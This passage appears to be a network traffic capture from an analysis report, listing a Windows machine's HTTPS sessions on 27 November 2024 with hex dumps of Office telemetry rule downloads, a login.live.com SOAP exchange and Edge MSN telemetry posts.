A:]i}12~BR
2024-11-27 16:59:03 UTC	7952	IN	Data Raw: 46 35 6b 37 36 83 73 b0 7f 0b 88 42 70 0d 69 c1 2d e0 fe 17 b2 9b 9d 42 47 7e ae d9 f1 6d 04 7e 53 d5 ca 5c ca dc 6a d1 b4 0b 9c 75 08 92 4e a3 2f 7f 83 78 17 87 a9 7b 87 bb 0d 02 f7 20 5e 3a 3b cd e6 1b 28 bd ec a1 c7 22 18 5c ae 46 2e b1 a9 21 51 36 19 15 23 c1 85 8c 5a 64 02 48 02 4e bc 68 df 2f 12 d7 9c b0 d5 1f 94 75 0d 6b 71 3d 1d 13 6c 72 75 82 09 22 ec 1b 47 2e ef 4b 9a fe 8c 21 c5 ea 61 cc 38 4f 67 73 0b bd 18 68 c0 78 b4 88 ba 3b 7c 5b 4e 0e e6 b8 30 5c a3 0c 63 f5 76 3b 3c 15 83 d9 81 bd 84 ad 84 47 37 79 b8 54 1a e6 ff 00 30 ec 5d 0f c6 ae 4e 07 ab 59 18 f7 a7 b1 ec c2 f3 e9 ec 74 37 22 d0 9c 3d 1d 2a d7 cd 1d 3d 8d 4a a3 f3 30 b9 86 23 c1 a9 50 34 3e 0f 66 2e 09 c3 d4 fb 98 69 c4 b5 80 e1 0a 38 72 0d 83 09 23 16 82 6d 2c 87 30 3a 4f 6f 89 72 Data Ascii: F5k76sBpi-BG~m~S\juN/x{ ^:;("\F.!Q6#ZdHNh/ukq=lru"G.K!a8Ogshx;\|[N0\cv;<G7yT0]NYt7"=*=J0#P4>f.i8r#m,0:Oor
2024-11-27 16:59:03 UTC	2024	IN	Data Raw: e8 2b ba b1 3a e0 2c 3c c5 2f 66 0c 0a ec b1 66 7b 36 0c 0d 2e 4b 1c 93 63 de 6b 98 16 5e 96 3a 8b 1d d5 81 25 d9 63 75 83 4b b2 c7 2f 66 60 67 65 87 3b 69 60 ee 4b 49 6a 4c 30 33 20 81 ab e5 ce c9 99 81 e4 5c d1 a6 b6 16 c0 e0 c2 bc df 5e 03 6c b8 b2 85 0d a1 c5 79 45 2a c7 9e 70 60 78 76 8c 39 9b 66 70 1a 97 16 3c b0 f6 7c 5c cc 38 96 0f 4b 9b 03 80 62 cc 1d 0a 60 43 07 50 d2 96 36 7b 9b 8a 90 1d 87 89 86 c1 4c 30 43 7c 84 37 0b 01 a9 dc 06 c9 61 80 c7 d5 d8 c6 5f 29 d6 94 6e c0 a0 4b b9 53 7b 1b 86 6f 86 17 47 66 5a c3 cc 1e 1b 72 69 2f 4b 0d dd b7 66 8d c5 18 56 ae e6 76 58 67 5a 73 79 83 c3 99 4b d3 8b 93 8b 05 20 38 ed 1e 61 9d 87 a5 ec cc 2c 3b a3 99 f1 61 cc 25 81 21 d8 c5 ae 60 f6 61 73 07 81 8b 90 d7 e6 07 33 86 0e da 8c 5f 30 62 e0 54 b0 3c 5f Data Ascii: +:,</ff{6.Kck^:%cuK/f`ge;i`KIjL03 \^lyE*p`xv9fp<\|\8Kb`CP6{L0C\|7a_)nKS{oGfZri/KfVvXgZsyK 8a,;a%!`as3_0bT<_

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.7	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:02 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:59:02 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:02 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 75932801-b01e-00ab-324d-40dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165902Z-174f7845968frfdmhC1EWRxxbw0000000xag000000005014 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:59:02 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:02 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:59:02 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:02 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 6eac8613-a01e-006f-3091-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165902Z-174f78459685726chC1EWRsnbg0000000xc0000000000uau x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:59:02 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:02 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:59:02 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:02 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 49e8a97e-c01e-008e-5491-3f7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165902Z-174f7845968l4kp6hC1EWRe8840000000xgg000000006c26 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:59:02 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.7	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:02 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:59:02 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:02 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 003cf3b7-b01e-0053-2e8c-3fcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165902Z-174f78459684bddphC1EWRbht40000000wxg00000000g1az x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:59:02 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.7	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:02 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:59:02 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:02 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: e56afb1e-801e-0083-3991-3ff0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165902Z-174f78459688l8rvhC1EWRtzr000000009ug000000009y4v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:59:02 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.7	49923	20.190.147.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:02 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-27 16:59:02 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-27 16:59:03 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 27 Nov 2024 16:58:03 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C537_BAY x-ms-request-id: c8213ab2-2b10-4d40-9b09-30274e822f11 PPServer: PPV: 30 H: PH1PEPF00011ED1 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 27 Nov 2024 16:59:02 GMT Connection: close Content-Length: 11389
2024-11-27 16:59:03 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.7	49924	52.168.117.168	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:04 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732733362308&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4573 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0941BF85F38264F21CE2AAC1F2AB6567; _EDGE_S=F=1&SID=06C9C66DE9DB682E2F31D329E8596974; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-27 16:59:04 UTC	4573	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 41 70 70 45 72 72 6f 72 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 37 54 31 38 3a 34 39 3a 32 32 2e 33 30 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 39 65 62 34 38 37 37 2d 62 38 62 66 2d 34 35 34 37 2d 39 61 61 38 2d 64 36 61 36 63 62 37 63 62 64 32 62 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 37 34 38 35 30 36 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.AppError","time":"2024-11-27T18:49:22.303Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"29eb4877-b8bf-4547-9aa8-d6a6cb7cbd2b","epoch":"2687485063"},"app":{"locale
2024-11-27 16:59:04 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=dc0eeb03848a4dee80146277cbb17e34&HASH=dc0e&LV=202411&V=4&LU=1732726744262; Domain=.microsoft.com; Expires=Thu, 27 Nov 2025 16:59:04 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=c559fb8dc69540dab744be92b3394ff7; Domain=.microsoft.com; Expires=Wed, 27 Nov 2024 17:29:04 GMT; Path=/;Secure; SameSite=None time-delta-millis: -6618046 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 27 Nov 2024 16:59:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.7	49925	52.168.117.168	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:04 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732733363441&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5969 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0941BF85F38264F21CE2AAC1F2AB6567; _EDGE_S=F=1&SID=06C9C66DE9DB682E2F31D329E8596974; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-27 16:59:04 UTC	5969	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 41 70 70 45 72 72 6f 72 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 37 54 31 38 3a 34 39 3a 32 33 2e 34 33 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 39 65 62 34 38 37 37 2d 62 38 62 66 2d 34 35 34 37 2d 39 61 61 38 2d 64 36 61 36 63 62 37 63 62 64 32 62 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 37 34 38 35 30 36 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.AppError","time":"2024-11-27T18:49:23.438Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"29eb4877-b8bf-4547-9aa8-d6a6cb7cbd2b","epoch":"2687485063"},"app":{"locale
2024-11-27 16:59:04 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=690db6cd056940e6be992c6ee26d5544&HASH=690d&LV=202411&V=4&LU=1732726744385; Domain=.microsoft.com; Expires=Thu, 27 Nov 2025 16:59:04 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=0101107d35804ba6b59b8278e2d78a53; Domain=.microsoft.com; Expires=Wed, 27 Nov 2024 17:29:04 GMT; Path=/;Secure; SameSite=None time-delta-millis: -6619056 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 27 Nov 2024 16:59:03 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.7	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:04 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:59:05 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:04 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 3d9c3aa7-901e-00ac-5891-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165904Z-174f7845968kdththC1EWRzvxn00000009fg00000000pcq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
